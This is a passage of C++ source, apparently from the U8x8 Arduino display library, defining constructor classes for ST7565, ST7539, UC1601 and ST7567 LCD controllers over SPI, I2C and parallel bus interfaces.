u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8X8_ST7565_JLX12864_3W_HW_SPI : public U8X8 {\n  public: U8X8_ST7565_JLX12864_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7565_jlx12864, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8X8_ST7565_JLX12864_6800 : public U8X8 {\n  public: U8X8_ST7565_JLX12864_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7565_jlx12864, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_ST7565_JLX12864_8080 : public U8X8 {\n  public: U8X8_ST7565_JLX12864_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7565_jlx12864, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_ST7565_NHD_C12832_4W_SW_SPI : public U8X8 {\n  public: U8X8_ST7565_NHD_C12832_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7565_nhd_c12832, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_ST7565_NHD_C12832_4W_HW_SPI : public U8X8 {\n  public: U8X8_ST7565_NHD_C12832_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7565_nhd_c12832, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_ST7565_NHD_C12832_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_ST7565_NHD_C12832_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7565_nhd_c12832, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_ST7565_NHD_C12832_3W_SW_SPI : public U8X8 {\n  public: U8X8_ST7565_NHD_C12832_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7565_nhd_c12832, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8X8_ST7565_NHD_C12832_3W_HW_SPI : public U8X8 {\n  public: U8X8_ST7565_NHD_C12832_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7565_nhd_c12832, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8X8_ST7565_NHD_C12832_6800 : public U8X8 {\n  public: U8X8_ST7565_NHD_C12832_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7565_nhd_c12832, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_ST7565_NHD_C12832_8080 : public U8X8 {\n  public: U8X8_ST7565_NHD_C12832_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7565_nhd_c12832, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_ST7539_192X64_4W_SW_SPI : public U8X8 {\n  public: U8X8_ST7539_192X64_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7539_192x64, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_ST7539_192X64_4W_HW_SPI : public U8X8 {\n  public: U8X8_ST7539_192X64_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7539_192x64, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_ST7539_192X64_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_ST7539_192X64_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7539_192x64, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_ST7539_192X64_3W_SW_SPI : public U8X8 {\n  public: U8X8_ST7539_192X64_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7539_192x64, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8X8_ST7539_192X64_3W_HW_SPI : public U8X8 {\n  public: U8X8_ST7539_192X64_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7539_192x64, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8X8_ST7539_192X64_6800 : public U8X8 {\n  public: U8X8_ST7539_192X64_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7539_192x64, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_ST7539_192X64_8080 : public U8X8 {\n  public: U8X8_ST7539_192X64_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7539_192x64, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_ST7539_192X64_SW_I2C : public U8X8 {\n  public: U8X8_ST7539_192X64_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7539_192x64, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8X8_ST7539_192X64_HW_I2C : public U8X8 {\n  public: U8X8_ST7539_192X64_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7539_192x64, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8X8_ST7539_192X64_2ND_HW_I2C : public U8X8 {\n  public: U8X8_ST7539_192X64_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7539_192x64, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8X8_UC1601_128X32_4W_SW_SPI : public U8X8 {\n  public: U8X8_UC1601_128X32_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1601_128x32, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_UC1601_128X32_4W_HW_SPI : public U8X8 {\n  public: U8X8_UC1601_128X32_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1601_128x32, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_UC1601_128X32_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_UC1601_128X32_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1601_128x32, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_UC1601_128X32_3W_SW_SPI : public U8X8 {\n  public: U8X8_UC1601_128X32_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1601_128x32, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8X8_UC1601_128X32_3W_HW_SPI : public U8X8 {\n  public: U8X8_UC1601_128X32_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1601_128x32, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8X8_UC1601_128X32_6800 : public U8X8 {\n  public: U8X8_UC1601_128X32_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1601_128x32, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_UC1601_128X32_8080 : public U8X8 {\n  public: U8X8_UC1601_128X32_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1601_128x32, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_UC1601_128X32_SW_I2C : public U8X8 {\n  public: U8X8_UC1601_128X32_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1601_128x32, u8x8_cad_uc16xx_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8X8_UC1601_128X32_HW_I2C : public U8X8 {\n  public: U8X8_UC1601_128X32_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1601_128x32, u8x8_cad_uc16xx_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8X8_UC1601_128X32_2ND_HW_I2C : public U8X8 {\n  public: U8X8_UC1601_128X32_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1601_128x32, u8x8_cad_uc16xx_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8X8_UC1601_128X64_4W_SW_SPI : public U8X8 {\n  public: U8X8_UC1601_128X64_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1601_128x64, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_UC1601_128X64_4W_HW_SPI : public U8X8 {\n  public: U8X8_UC1601_128X64_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1601_128x64, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_UC1601_128X64_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_UC1601_128X64_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1601_128x64, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_UC1601_128X64_3W_SW_SPI : public U8X8 {\n  public: U8X8_UC1601_128X64_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1601_128x64, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8X8_UC1601_128X64_3W_HW_SPI : public U8X8 {\n  public: U8X8_UC1601_128X64_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1601_128x64, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8X8_UC1601_128X64_6800 : public U8X8 {\n  public: U8X8_UC1601_128X64_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1601_128x64, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_UC1601_128X64_8080 : public U8X8 {\n  public: U8X8_UC1601_128X64_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1601_128x64, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_UC1601_128X64_SW_I2C : public U8X8 {\n  public: U8X8_UC1601_128X64_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1601_128x64, u8x8_cad_uc16xx_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8X8_UC1601_128X64_HW_I2C : public U8X8 {\n  public: U8X8_UC1601_128X64_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1601_128x64, u8x8_cad_uc16xx_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8X8_UC1601_128X64_2ND_HW_I2C : public U8X8 {\n  public: U8X8_UC1601_128X64_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1601_128x64, u8x8_cad_uc16xx_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8X8_ST7565_EA_DOGM132_4W_SW_SPI : public U8X8 {\n  public: U8X8_ST7565_EA_DOGM132_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7565_ea_dogm132, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_ST7565_EA_DOGM132_4W_HW_SPI : public U8X8 {\n  public: U8X8_ST7565_EA_DOGM132_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7565_ea_dogm132, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_ST7565_EA_DOGM132_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_ST7565_EA_DOGM132_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7565_ea_dogm132, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_ST7565_EA_DOGM132_3W_SW_SPI : public U8X8 {\n  public: U8X8_ST7565_EA_DOGM132_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7565_ea_dogm132, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8X8_ST7565_EA_DOGM132_3W_HW_SPI : public U8X8 {\n  public: U8X8_ST7565_EA_DOGM132_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7565_ea_dogm132, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8X8_ST7565_EA_DOGM132_6800 : public U8X8 {\n  public: U8X8_ST7565_EA_DOGM132_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7565_ea_dogm132, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_ST7565_EA_DOGM132_8080 : public U8X8 {\n  public: U8X8_ST7565_EA_DOGM132_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7565_ea_dogm132, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_ST7567_PI_132X64_4W_SW_SPI : public U8X8 {\n  public: U8X8_ST7567_PI_132X64_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7567_pi_132x64, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_ST7567_PI_132X64_4W_HW_SPI : public U8X8 {\n  public: U8X8_ST7567_PI_132X64_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7567_pi_132x64, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_ST7567_PI_132X64_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_ST7567_PI_132X64_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7567_pi_132x64, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_ST7567_PI_132X64_3W_SW_SPI : public U8X8 {\n  public: U8X8_ST7567_PI_132X64_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7567_pi_132x64, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8X8_ST7567_PI_132X64_3W_HW_SPI : public U8X8 {\n  public: U8X8_ST7567_PI_132X64_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7567_pi_132x64, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8X8_ST7567_PI_132X64_6800 : public U8X8 {\n  public: U8X8_ST7567_PI_132X64_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7567_pi_132x64, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_ST7567_PI_132X64_8080 : public U8X8 {\n  public: U8X8_ST7567_PI_132X64_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7567_pi_132x64, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_ST7567_PI_132X64_SW_I2C : public U8X8 {\n  public: U8X8_ST7567_PI_132X64_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7567_pi_132x64, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8X8_ST7567_PI_132X64_HW_I2C : public U8X8 {\n  public: U8X8_ST7567_PI_132X64_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7567_pi_132x64, 